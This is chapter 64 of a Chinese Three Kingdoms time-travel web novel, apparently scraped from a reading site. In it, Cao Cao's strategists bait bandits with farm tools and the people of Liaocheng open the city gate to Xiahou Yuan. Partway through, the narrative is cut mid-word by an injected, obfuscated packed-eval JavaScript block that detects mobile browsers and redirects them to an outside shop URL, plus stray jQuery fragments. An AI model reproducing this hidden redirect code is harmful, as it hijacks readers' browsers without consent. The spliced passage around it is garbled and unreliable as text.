64.一生爱种地的汉人
作品:《开局绑定郭奉孝,我在三国杀疯了》 华佗目光大亮。东观医书,那是天下医者梦寐以求的宝库。但他依然有些犹豫。
荀衍继续加码,“两军交战,死伤无数。许多士卒并非当场战死,而是受伤后得不到及时救治,伤口溃烂流血而亡。主公有意在军中建立一支‘医护兵’,专门负责战时救护。”
华佗愣住,“医护兵?”
“正是。”荀衍解释道,“挑选军中机灵的士卒,由先生教导他们简单的止血、包扎、正骨之术。战时他们不拿刀枪,只带药箱,穿梭于阵地救治伤员。先生医者仁心,难道忍心看着那些年轻的生命因无人救治而白白流逝?”
这番话正中华佗软肋。他游历天下,见过太多因缺医少药而惨死的士兵和百姓。
“荀先生此举,功德无量。”华佗放下药篓,对着荀衍深深一揖,“若真能建立医护兵,华某愿留在东武阳,倾囊相授。”
戏志才在一旁看着,忍不住对郭嘉耳语,“昭若这空手套白狼的本事,真是绝了。东观的医书本来就是要整理的,医护兵也是曹军得利,他这三言两语,就把个神医给绑在战车上了。”
“都跟你似的,讳疾忌医,这下神医在曹营常驻,正好可以给你开药,扎针。”郭嘉说得狠,戏志才觉得生无可恋。
几日后,医护兵的选拔在军营中展开。
华佗亲自挑选了三百名年轻士卒,开始教授急救之法。
东武阳与博平相距百里。
两城之间,横亘着聊城等几座县城。
城头插着黑山军的旗号。
曹军两路夹击之势已成,聊城守将李大目整日提心吊胆。
入春后,东武阳运往博平的牛车络绎不绝。
车辙极深,上面盖着厚重的油布。
李大目站在城头,眼馋得很。
他断定那是曹操运给荀彧的军粮和军械。
恶向胆边生,李大目点齐五百喽啰,摸出城,在官道上设伏。
押送车队的曹军人数不多,稍作抵抗便弃车而逃。
李大目大获全胜,耀武扬威地将十多辆大车拉回聊城。
县衙门前空地上。
黑山贼喽啰们将大车围得水泄不通。
李大目走上前,一脚踹开第一辆车上的油布。
没有粟米,也没有刀枪。
木箱里整整齐齐码放着崭新的铁犁耙。
李大目不信邪,接连挑开后面几辆车的油布。
铁锹、锄头、镰刀。
十多辆大车,全是农具。
甚至还有几大车沤好的农家肥,李大目气得破口大骂,
动静闹得挺大,看到满地的锄头和犁耙,百姓们的眼睛亮了。
初春的泥土已经解冻。这些祖祖辈辈在地里刨食的农人,看到农具,骨子里的本能被唤醒了。
“军爷。”一个胆大的老农搓着手走上前,“这锄头闲着也是闲着。眼下正是下种的好时候,能不能开开城门,让我们出城把地种了?”
李大目正愁没处撒气,听到这话,反手一巴掌抽在老农脸上。
老农重重摔在地上,半边脸高高肿起。
“种地?曹军就在几十里外驻扎!老子开了城门,曹军打进来怎么办!谁也不许出城!老老实实在城里待着!”李大目怒吼。
百姓们赶紧把老农扶起,敢怒不敢言。
农时不等人。晚下种一天,秋后就少收一成粮。地里长不出庄稼,全家老小都要饿死。黑山军不让他们种地,这是在断他们的活路。
怨气在聊城的大街小巷迅速蔓延。
夜深。
城南一处破旧的民舍内,十几个百姓围坐在一起,门窗紧闭。
“不能再等了。”被打的老农捂着脸,“再不种地,大家都要饿死。听说曹军在东武阳分田分地,连粮种都发。咱们在聊城只能等死。”
“那能怎么办?城门被黑山贼死死把守。”一个年轻人握紧拳头。
“他们也是人,是人就贪。”老农咬牙,“大家凑点钱,去买酒买肉。今晚轮到李麻子守南门,那是个贪杯的。把他灌醉,找个人溜出去,去博平找曹军求援!”
众人纷纷解囊,凑出几十文铜钱。
两个时辰后。
聊城南门。
几个百姓提着食盒,摸到城墙根。
守门的小头目李麻子正靠在墙根打哈欠,闻到酒肉香,肚子咕咕直叫。
“军爷辛苦。”领头的百姓陪着笑脸,把食盒递过去,“城里大户人家剩下的,我们寻思军爷守夜受冻,拿来孝敬您。”
李麻子也不疑有他,抢过酒壶就往嘴里灌。黑山贼军纪涣散,守城本就是个苦差事,有人送吃喝,自然来者不拒。
半个时辰后,李麻子和几个喽啰烂醉倒地,打着呼噜。
几个百姓对视一眼,动作利索地将粗麻绳拴在城墙垛口上。那个身手矫健的年轻人顺着绳子缒城而下,落地后借着夜色掩护,一路狂奔向博平方向。
博平县衙。
天色微明。
荀彧坐在案前批阅公文。夏侯渊顶着一身寒气大步跨入大堂。
“文若先生!聊城跑出来个百姓,说有要事相告!”
荀彧放下朱笔,“带进来。”
年轻人衣衫褴褛,满身泥污,扑通一声跪在堂下。
“大人!救救聊城百姓吧!”年轻人磕头,“黑山贼不让我们出城种地!再耽搁下去,今年绝收,大家都要饿死!”
夏侯渊转头看向荀彧。
年轻人抬起头,语气急促,“我们已经商量好了。明日三更,我们会在城内放火制造混乱,趁机夺下南门,放下吊桥。只求大军进城,赶走黑山贼,让我们出城种地!”
荀彧眼中透出赞赏。他站起身,走到年轻人面前,亲手将其扶起。
“你们有几成把握夺门?”
“城里的青壮都串联好了,足有两千人。黑山贼防备松懈,只要曹军能在城外接应,一定能成!”
荀彧转头看向夏侯渊,“妙才将军,这是天赐良机。”
夏侯渊握紧腰间刀柄,战意高昂,“我这就去点兵!三更时分,定在聊城南门外等候!”
待聊城百
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333752|197113||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
姓走后,夏侯渊惊奇地道:“军师们真是神机妙算,拿农具做诱饵这招太绝了。”
荀彧正在给曹操汇报拿下聊城的计划,提笔悬在半空,长长叹了口气,“自从戏志才来了大营,这计策是越来越不着调,这农具诱敌的手笔,一看便知有郭奉孝在背后推波助澜。”
三更时分。聊城南门外。
夏侯渊率领两千精锐潜伏于夜色之中。城墙上火光摇曳。
城内突然传出喊杀声,火光冲天。南门吊桥伴着沉闷的木头摩擦声缓缓落下,厚重的城门从里面被推开。
“杀进去。”夏侯渊拔出长刀,一马当先冲上吊桥。
城门甬道内,那名报信的年轻人正带着一群百姓与几个黑山贼死磕。百姓们手里拿着锄头、木棍,硬生生把装备精良的守军逼退。
曹军精锐涌入城中。战局毫无悬念。
天亮时分,聊城易主。李大目在乱军中被夏侯渊一刀斩落马下。
曹操抖了抖手中的战报,满面春风,递给了最近的荀衍。荀衍看到兄长在战报最后的几句抱怨,怕郭嘉介意,安慰他道:“黑猫白猫,能抓到老鼠就是好猫,计策不着调又如何,能以最小的代价换取胜利,便是上策。”
郭嘉颇为受用,“文若就是太重规矩,打仗嘛,好用就行。”
荀攸拿过战报,感慨道:“聊城百姓为了种地,连命都不要了。”
“惹谁都不能惹一生热爱种田的百姓。”荀衍也赞同,“断人农时,如杀人父母。”
占领聊城后,曹操便放百姓去种地,并且派兵保护,聊城百姓对曹操的拥护达到顶峰。消息传开,周围几个县城的黑山贼终日惶惶,生怕哪天夜里自家的城门也被百姓从里面打开。
东郡的局势变得微妙起来。
名义上的东郡太守王匡被困濮阳,兵微将寡,处于绝对劣势。曹操屯兵东武阳,隐忍不发,每日招兵买马,操练士卒。黑山贼首领于毒则率领数万大军,日夜猛攻濮阳城。
曹操按兵不动,他手下这群谋士个个都是人精,也没人劝他出兵救援。
半个月后,急报传来,濮阳城破,王匡战死,于毒大军彻底占据濮阳。
曹操霍然起身,“黑山贼猖狂,竟敢杀害朝廷命官。传令!缟素出征,操誓要踏平濮阳,为王太守报仇雪恨。”
大军拔营起寨,曹操遣使快马加鞭赶往陈留,面见张邈,请他一同出兵攻打于毒。
张邈收到信件,二话不说便点齐兵马,唇亡齿寒的道理他懂,曹操若是不敌黑山军,下一个遭殃的便是陈留。
至于王匡,刘岱填了这许多兵力进去,也翻不起半点波澜,相比之下,张邈更信任曹操能够破敌。
两路大军成夹击之势,逼近濮阳。
濮阳城内。
于毒听着探子的汇报。
“大首领,曹操和张邈的大军离城不足三十里了。”
“曹孟德来得真快。城墙修补得如何了?”
“城中百姓不肯出力,全躲在家里。兄弟们拿着刀逼他们上城墙,他们就消极怠工。”头目抹了一把汗。

